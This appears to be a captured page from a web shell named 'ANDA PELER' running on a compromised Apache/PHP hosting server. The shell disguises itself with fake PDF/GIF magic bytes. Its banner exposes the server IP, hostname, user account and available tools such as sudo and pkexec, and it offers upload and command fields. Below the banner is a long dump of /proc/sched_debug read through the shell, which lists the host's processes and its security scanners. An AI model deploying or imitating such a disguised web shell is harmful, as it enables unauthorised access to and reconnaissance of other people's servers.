%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.242
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-553.8.1.el8_10.x86_64 #1
ktime                                   : 29302614230.806183
sched_clk                               : 29302426100.495222
cpu_clk                                 : 29302425604.903761
jiffies                                 : 33597281527
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2445.404 MHz
  .nr_running                    : 0
  .nr_switches                   : 12539571280
  .nr_uninterruptible            : -42453
  .next_balance                  : 33597.281365
  .curr->pid                     : 0
  .clock                         : 29302425605.180820
  .clock_task                    : 29302425605.180820
  .avg_idle                      : 3968785
  .max_idle_balance_cost         : 5000000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3104490023.763477
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 49502961.916143
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 7
  .runnable_avg                  : 7
  .util_avg                      : 7
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 7
  .tg_load_avg                   : 64
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 29302425605.180820
  .se->vruntime                  : 3054987061.847334
  .se->sum_exec_runtime          : 1627973670.706081
  .se->load.weight               : 114688
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 7
  .se->avg.runnable_avg          : 7

cfs_rq[0]:/init.scope
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 7581391.228116
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -3047405670.619218
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_avg                  : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 29302425055.640782
  .se->vruntime                  : 3054987048.942169
  .se->sum_exec_runtime          : 6727611.928934
  .se->load.weight               : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_avg          : 0

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3054987061.847334
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 1
  .runnable_avg                  : 7
  .util_avg                      : 7
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1   7581391.228116  51078128   120         0.000000  26421763.552293         0.000000 0 0 /init.scope
 I          rcu_gp     3 3010052402.511666        24   100         0.000000         0.348596         0.000000 0 0 /
 I      rcu_par_gp     4       111.376076         2   100         0.000000         0.003165         0.000000 0 0 /
 I    slub_flushwq     5       113.377626         2   100         0.000000         0.003176         0.000000 0 0 /
 S rcu_tasks_rude_    11       122.134344         2   120         0.000000         0.002514         0.000000 0 0 /
 S rcu_tasks_trace    12       124.136298         2   120         0.000000         0.003177         0.000000 0 0 /
 S     ksoftirqd/0    13 3054987021.993487  56974376   120         0.000000   1077210.086608         0.000000 0 0 /
 S     migration/0    15         0.000000   2623701     0         0.000000     42621.722516         0.000000 0 0 /
 S      watchdog/0    16         0.000000   7325656     0         0.000000    109371.751719         0.000000 0 0 /
 S         cpuhp/0    17      3982.594023        16   120         0.000000         1.989146         0.000000 0 0 /
 S      khungtaskd    43 3054984972.163892    238467   120         0.000000     17484.473965         0.000000 0 0 /
 S      khugepaged    48 3054984893.148903   3366361   139         0.000000   3212097.820205         0.000000 0 0 /
 S         kswapd0    79 3054984991.016499    620405   120         0.000000   4432035.006836         0.000000 0 0 /
 S   irq/26-aerdrv   144         0.000000         3    49         0.000000         0.044304         0.000000 0 0 /
 S   irq/30-aerdrv   148         0.000000         3    49         0.000000         0.048541         0.000000 0 0 /
 S       scsi_eh_2   398      1792.903127        27   120         0.000000         7.480028         0.000000 0 0 /
 I      scsi_tmf_2   399      1743.686974         2   100         0.000000         0.015560         0.000000 0 0 /
 S systemd-journal   543 3104489995.450690  54894034   120         0.000000  13348398.641140         0.000000 0 0 /system.slice
 S         rpcbind   602 3104489636.305679    985197   120         0.000000     53228.707143         0.000000 0 0 /system.slice
 I          rpciod   633      2654.207578         2   100         0.000000         0.009197         0.000000 0 0 /
 I         xprtiod   637      2658.671608         2   100         0.000000         0.024787         0.000000 0 0 /
 S           gmain   666       158.972187         1   120         0.000000         0.075531         0.000000 0 0 /system.slice
 S            nscd   653 3104490014.810344  45195556   120         0.000000   1738054.778942         0.000000 0 0 /system.slice
 S            nscd   710 3097814600.834787       607   120         0.000000        66.445194         0.000000 0 0 /system.slice
 S    jbd2/loop0-8   782 3054986497.805404   2366495   120         0.000000    106510.002015         0.000000 0 0 /
 S           tuned  1374 3104490016.215188 766909397   120         0.000000  36334479.748606         0.000000 0 0 /system.slice
 S        gssproxy  1123      1251.033268         1   120         0.000000         0.007814         0.000000 0 0 /system.slice
 S        gssproxy  1125      1248.068958         1   120         0.000000         0.009027         0.000000 0 0 /system.slice
 S           gmain  1383      2163.543668         2   120         0.000000         0.019757         0.000000 0 0 /system.slice
 S        rsyslogd  1397 3104378180.859314     50669   120         0.000000      2568.121453         0.000000 0 0 /system.slice
 S letsencrypt.liv  1420 3104488794.915630   5055354   120         0.000000    298954.846444         0.000000 0 0 /system.slice
 S letsencrypt.liv  1422 3104489995.066479   6256693   120         0.000000    386969.741843         0.000000 0 0 /system.slice
 S letsencrypt.liv 2423224 3104489995.283215   4856984   120         0.000000    296739.686851         0.000000 0 0 /system.slice
 I    kworker/u9:0  1430      8734.713662         2   100         0.000000         0.008575         0.000000 0 0 /
 S         php-fpm 3437228 3104490014.796510  24311898   120         0.000000   1237776.100185         0.000000 0 0 /system.slice
 S             p0f 2170612 3104490018.173773 1401716909   120         0.000000  36869912.921727         0.000000 0 0 /system.slice
 S         defunct 2227625 3104490014.811787  10250776   120         0.000000    378046.568254         0.000000 0 0 /system.slice
 S pdns/carbonDump 3096358 3104490014.803121   5758041   120         0.000000    245937.843867         0.000000 0 0 /system.slice
 S           anvil 161695 3104490014.793715   3065438   120         0.000000    132033.458312         0.000000 0 0 /system.slice
 I    kworker/0:1H 1511489 3054987050.645818   7639569   100         0.000000    117964.535647         0.000000 0 0 /
 I    kworker/0:2H 549300 2997389946.148442         7   100         0.000000         0.075432         0.000000 0 0 /
 S      run-script 1480254 3104490015.123312    156581   120         0.000000     66199.574916         0.000000 0 0 /system.slice
 S      imap-login 1818217 3104489995.095613     38772   120         0.000000      6934.660964         0.000000 0 0 /system.slice
 S             log 1818218 3104489995.333559     27769   120         0.000000      1913.026688         0.000000 0 0 /system.slice
 S       splitlogs 1818227 3104490014.827658    336314   120         0.000000     11985.748653         0.000000 0 0 /system.slice
 S     spamd child 1996973 3104488824.439381       158   120         0.000000       243.088715         0.000000 0 0 /system.slice
 S          mysqld 2039269 3104490014.815334     19228   120         0.000000       518.549239         0.000000 0 0 /system.slice
 S          mysqld 2039395 3104490018.841596    944285   120         0.000000     30677.144067         0.000000 0 0 /system.slice
 S          mysqld 2040240 3104490014.787632     12412   120         0.000000       252.685740         0.000000 0 0 /system.slice
 S          mysqld 2067265 3104489898.966304    177477   120         0.000000     36263.221319         0.000000 0 0 /system.slice
 I    kworker/u8:0 2067877 3054987045.921022      3890   120         0.000000       337.255708         0.000000 0 0 /
 S           httpd 2096145 3104489862.261978      3689   120         0.000000       769.301649         0.000000 0 0 /system.slice
 I     kworker/0:0 2096331 3054984456.830278       616   120         0.000000        10.205038         0.000000 0 0 /
 S           httpd 2097532 3104489863.232837      1643   120         0.000000       450.532475         0.000000 0 0 /system.slice
 I     kworker/0:2 2098794 3054984991.011238      3448   120         0.000000        52.881153         0.000000 0 0 /
 S            exim 2099139 3104484778.487132        15   120         0.000000         5.958626         0.000000 0 0 /system.slice
 S            exim 2100525 3104489000.645387        16   120         0.000000         6.472471         0.000000 0 0 /system.slice
 S           httpd 2100753 3104489945.021183      1672   120         0.000000        86.350254         0.000000 0 0 /system.slice
 I     kworker/0:1 2100804 3054987048.948907       967   120         0.000000        17.106547         0.000000 0 0 /
 I     kworker/0:3 2101019 3054985070.234606        18   120         0.000000         0.235214         0.000000 0 0 /
 S            imap 2101137 3104489675.688843         6   120         0.000000         6.154782         0.000000 0 0 /system.slice
 S         php-fpm 2101138 3104489683.579660        83   120         0.000000        10.696529         0.000000 0 0 /system.slice
 S            lmtp 2101209 3104490004.054907         4   120         0.000000         6.606731         0.000000 0 0 /system.slice
 S            auth 2101219 3104490023.763477         5   120         0.000000         5.515466         0.000000 0 0 /system.slice

cpu#1, 2445.404 MHz
  .nr_running                    : 2
  .nr_switches                   : 12730976575
  .nr_uninterruptible            : 88271
  .next_balance                  : 33597.281559
  .curr->pid                     : 2101097
  .clock                         : 29302425605.154591
  .clock_task                    : 29302425605.154591
  .avg_idle                      : 8454298
  .max_idle_balance_cost         : 5000000

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2609582884.465378
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -445404177.381956
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 10
  .runnable_avg                  : 10
  .util_avg                      : 10
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 10
  .tg_load_avg                   : 64
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 29302425605.108635
  .se->vruntime                  : 2597936432.349518
  .se->sum_exec_runtime          : 1320788738.885486
  .se->load.weight               : 997901
  .se->avg.load_avg              : 29
  .se->avg.util_avg              : 10
  .se->avg.runnable_avg          : 10

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 2597936422.319475
  .min_vruntime                  : 2597936431.319475
  .max_vruntime                  : 2597936422.319475
  .spread                        : 0.000000
  .spread0                       : -457050630.527859
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2046477
  .load_avg                      : 29
  .runnable_avg                  : 10
  .util_avg                      : 10
  .util_est_enqueued             : 150
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         cpuhp/1    18       349.643450        15   120         0.000000         0.360018         0.000000 0 0 /
 S      watchdog/1    19        -3.000000   7325656     0         0.000000    119423.791904         0.000000 0 0 /
 S     migration/1    20         0.000000   3262134     0         0.000000     57107.814729         0.000000 0 0 /
 S     ksoftirqd/1    21 2597936409.965687  55332239   120         0.000000   1125662.270907         0.000000 0 0 /
 S       kdevtmpfs    40      3810.071687       147   120         0.000000         3.008689         0.000000 0 0 /
 I           netns    41        39.047607         2   100         0.000000         0.007996         0.000000 0 0 /
 I     kintegrityd    50        57.059269         2   100         0.000000         0.005029         0.000000 0 0 /
 I              md    54        66.066367         2   100         0.000000         0.007103         0.000000 0 0 /
 I     edac-poller    56        75.070790         2   100         0.000000         0.004428         0.000000 0 0 /
 I        kthrotld   141       256.949090         2   100         0.000000         0.042469         0.000000 0 0 /
 S   irq/27-aerdrv   145         0.000000         3    49         0.000000         0.097642         0.000000 0 0 /
 S   irq/31-aerdrv   149         0.000000         3    49         0.000000         0.095380         0.000000 0 0 /
 I    kmpath_rdacd   153       275.086199         2   100         0.000000         0.026209         0.000000 0 0 /
 I          kaluad   154       284.124055         2   100         0.000000         0.039545         0.000000 0 0 /
 S       scsi_eh_1   395 2597797030.455068     11032   120         0.000000      1003.051661         0.000000 0 0 /
 S       scsi_eh_3   400      1246.868449        28   120         0.000000         6.783083         0.000000 0 0 /
 I      scsi_tmf_3   401      1122.448526         2   100         0.000000         0.041569         0.000000 0 0 /
 S       scsi_eh_4   402      1245.256107        25   120         0.000000         5.300735         0.000000 0 0 /
 I      scsi_tmf_4   403      1140.490378         2   100         0.000000         0.020558         0.000000 0 0 /
 I      scsi_tmf_5   405      1158.539840         2   100         0.000000         0.033974         0.000000 0 0 /
 I      scsi_tmf_6   407      1170.585917         2   100         0.000000         0.017903         0.000000 0 0 /
 S     jbd2/sda1-8   437 2597936413.002899 299077362   120         0.000000   8856769.328459         0.000000 0 0 /
 S            nscd   708 2609582195.017064  12841566   120         0.000000   3070575.358323         0.000000 0 0 /system.slice
 S            nscd   714 2609582875.564745   3968808   120         0.000000    371517.023761         0.000000 0 0 /system.slice
 S            nscd  1744 2609582670.287119   3707513   120         0.000000    327831.818670         0.000000 0 0 /system.slice
 S            nscd 747195 2609582637.823713   3693652   120         0.000000    325715.394080         0.000000 0 0 /system.slice
 S            nscd 747197 2609582782.646103   3691389   120         0.000000    325414.363531         0.000000 0 0 /system.slice
 S            nscd 3416028 2609582789.521758   3245113   120         0.000000    290842.150237         0.000000 0 0 /system.slice
 S            nscd 3112488 2609582708.600004   1033627   120         0.000000    100692.806880         0.000000 0 0 /system.slice
 S     dbus-daemon   655 2609582875.653551  39164289   120         0.000000   5972140.932124         0.000000 0 0 /system.slice
 S          auditd   670 2580488585.461616   3244810   116         0.000000    157303.784877         0.000000 0 0 /system.slice
 S          hwmon0   702 2485120699.668251        62   120         0.000000         1.010259         0.000000 0 0 /
 S         qemu-ga   729       316.301780         2   120         0.000000         0.034446         0.000000 0 0 /system.slice
 S           tuned  1118 2609582877.737008 776247994   120         0.000000  34977365.940196         0.000000 0 0 /system.slice
 S        gssproxy  1122      1606.894851         1   120         0.000000         0.007925         0.000000 0 0 /system.slice
 S           gdbus  1384 2609581636.520641   7968644   120         0.000000    867510.257120         0.000000 0 0 /system.slice
 S       JS Helper  1389      2525.228860         1   120         0.000000         0.024626         0.000000 0 0 /system.slice
 S    in:imjournal  1423 2609582876.177813  43163313   120         0.000000   7446770.284356         0.000000 0 0 /system.slice
 S letsencrypt.liv  1418 2214067710.036877   5856948   120         0.000000    354774.493638         0.000000 0 0 /system.slice
 S letsencrypt.liv 24690 2609582824.625774   5859651   120         0.000000    339737.200185         0.000000 0 0 /system.slice
 I      ib-comp-wq  1425      8089.774833         2   100         0.000000         0.007755         0.000000 0 0 /
 I  ib-comp-unb-wq  1436      8264.632109         2   100         0.000000         0.009608         0.000000 0 0 /
 I        ib_mcast  1437      8292.068901         2   100         0.000000         0.021410         0.000000 0 0 /
 I     ib_nl_sa_wq  1440      8343.482113         2   100         0.000000         0.017533         0.000000 0 0 /
 S      tailwatchd  1621 2609582876.777158  25911781   120         0.000000   7995142.557017         0.000000 0 0 /system.slice
 S           crond  1725 2609582192.623387   1892095   120         0.000000    669003.844581         0.000000 0 0 /system.slice
 S queueprocd - wa 2138087 2609581720.135616   1045308   120         0.000000   1626124.187251         0.000000 0 0 /system.slice
 S           httpd 2960611 2609582875.507837  18850163   120         0.000000   3397836.050013         0.000000 0 0 /system.slice
 I    kworker/1:0H 1997573 2597936412.645698  35980179   100         0.000000    554830.005779         0.000000 0 0 /
 S     pdns_server 3096351 2609559191.135683     21278   120         0.000000     14965.654502         0.000000 0 0 /system.slice
 S            exim 161388 2609582876.837122   1473063   120         0.000000    607452.921444         0.000000 0 0 /system.slice
 I    kworker/1:1H 2348775 2462977550.903576        19   100         0.000000         0.205347         0.000000 0 0 /
 S            sshd 3557613 2608749552.798838     28318   120         0.000000      6506.924197         0.000000 0 0 /system.slice
 S      pop3-login 1818216 2609582875.525462     15013   120         0.000000      2729.559875         0.000000 0 0 /system.slice
 S           stats 1818223 2609582875.655694     65839   120         0.000000      2433.995002         0.000000 0 0 /system.slice
 S       splitlogs 1818226 2609582875.536932    340114   120         0.000000     11861.955043         0.000000 0 0 /system.slice
 S    leechprotect 1818228 2602672669.179544         3   120         0.000000        94.506367         0.000000 0 0 /system.slice
 S     spamd child 1887929 2609582717.532126      2699   120         0.000000     19329.082856         0.000000 0 0 /system.slice
 I    kworker/u8:2 1906300 2597752673.775836     28578   120         0.000000      2746.825758         0.000000 0 0 /
 S          mysqld 2038409 2609582822.732976      8741   120         0.000000       761.095732         0.000000 0 0 /system.slice
 S          mysqld 2039265 2609582875.541441     19151   120         0.000000       584.010380         0.000000 0 0 /system.slice
 S          mysqld 2039268 2609582875.550798     19243   120         0.000000       534.148469         0.000000 0 0 /system.slice
 S          mysqld 2039271 2609582875.564051     26108   120         0.000000       698.181175         0.000000 0 0 /system.slice
 S          mysqld 2039394 2609582875.944048    130484   120         0.000000      3681.595376         0.000000 0 0 /system.slice
 S          mysqld 2040235 2609059666.686786         4   120         0.000000         1.430220         0.000000 0 0 /system.slice
 S          mysqld 2040238 2609582876.084487     95582   120         0.000000      3576.594172         0.000000 0 0 /system.slice
 S          mysqld 2040242 2609582875.488982     10860   120         0.000000       193.139287         0.000000 0 0 /system.slice
 S          mysqld 2040289 2609059985.389054         2   120         0.000000         0.090979         0.000000 0 0 /system.slice
 S          mysqld 2040290 2609059999.543041         2   120         0.000000         0.022223         0.000000 0 0 /system.slice
 S          mysqld 2067289 2609582789.631537    172134   120         0.000000     36326.820357         0.000000 0 0 /system.slice
 I     kworker/1:3 2095839 2597933899.416970     10799   120         0.000000       173.175090         0.000000 0 0 /
 I     kworker/1:1 2098193 2597934673.747669     14130   120         0.000000       231.996051         0.000000 0 0 /
 S           httpd 2100401 2609582708.723004       424   120         0.000000       174.212558         0.000000 0 0 /system.slice
 I     kworker/1:0 2100756 2597927471.142521         3   120         0.000000         0.037630         0.000000 0 0 /
 R     kworker/1:2 2100757 2597936422.319475       749   120         0.000000        13.354453         0.000000 0 0 /
>R         php-fpm 2101097 2609582876.614884        37   120         0.000000        56.081708         0.000000 0 0 /system.slice
 S         php-fpm 2101115 2609582429.436686        27   120         0.000000         8.147565         0.000000 0 0 /system.slice
 S            exim 2101117 2609582876.671299         6   120         0.000000         3.036534         0.000000 0 0 /system.slice
 S         php-fpm 2101134 2609582313.929112       213   120         0.000000        41.645804         0.000000 0 0 /system.slice
 S         php-fpm 2101136 2609582876.276760         7   120         0.000000        13.652516         0.000000 0 0 /system.slice
 S cPhulkd - proce 2101139 2609582883.701387        19   120         0.000000        16.445574         0.000000 0 0 /system.slice
 S         php-fpm 2101141 2609582410.606285         6   120         0.000000        52.704529         0.000000 0 0 /system.slice
 S         php-fpm 2101142 2609582482.650569        35   120         0.000000        11.510975         0.000000 0 0 /system.slice
 S         php-fpm 2101145 2609582573.133074         5   120         0.000000        73.718648         0.000000 0 0 /system.slice
 S         php-fpm 2101150 2609582581.025733       128   120         0.000000        13.463433         0.000000 0 0 /system.slice
 S         php-fpm 2101200 2609582833.539903        41   120         0.000000        10.463309         0.000000 0 0 /system.slice

cpu#2, 2445.404 MHz
  .nr_running                    : 0
  .nr_switches                   : 11983556642
  .nr_uninterruptible            : -38772
  .next_balance                  : 33597.281532
  .curr->pid                     : 0
  .clock                         : 29302425605.141106
  .clock_task                    : 29302425605.141106
  .avg_idle                      : 7050552
  .max_idle_balance_cost         : 5000000

cfs_rq[2]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3496425100.446488
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 441438038.599154
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 3
  .runnable_avg                  : 3
  .util_avg                      : 3
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 3
  .tg_load_avg                   : 64
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 29302425603.977985
  .se->vruntime                  : 3345526096.308465
  .se->sum_exec_runtime          : 1930460978.642132
  .se->load.weight               : 44620
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 3
  .se->avg.runnable_avg          : 3

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3345526096.308465
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 290539034.461131
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 1
  .runnable_avg                  : 4
  .util_avg                      : 4
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
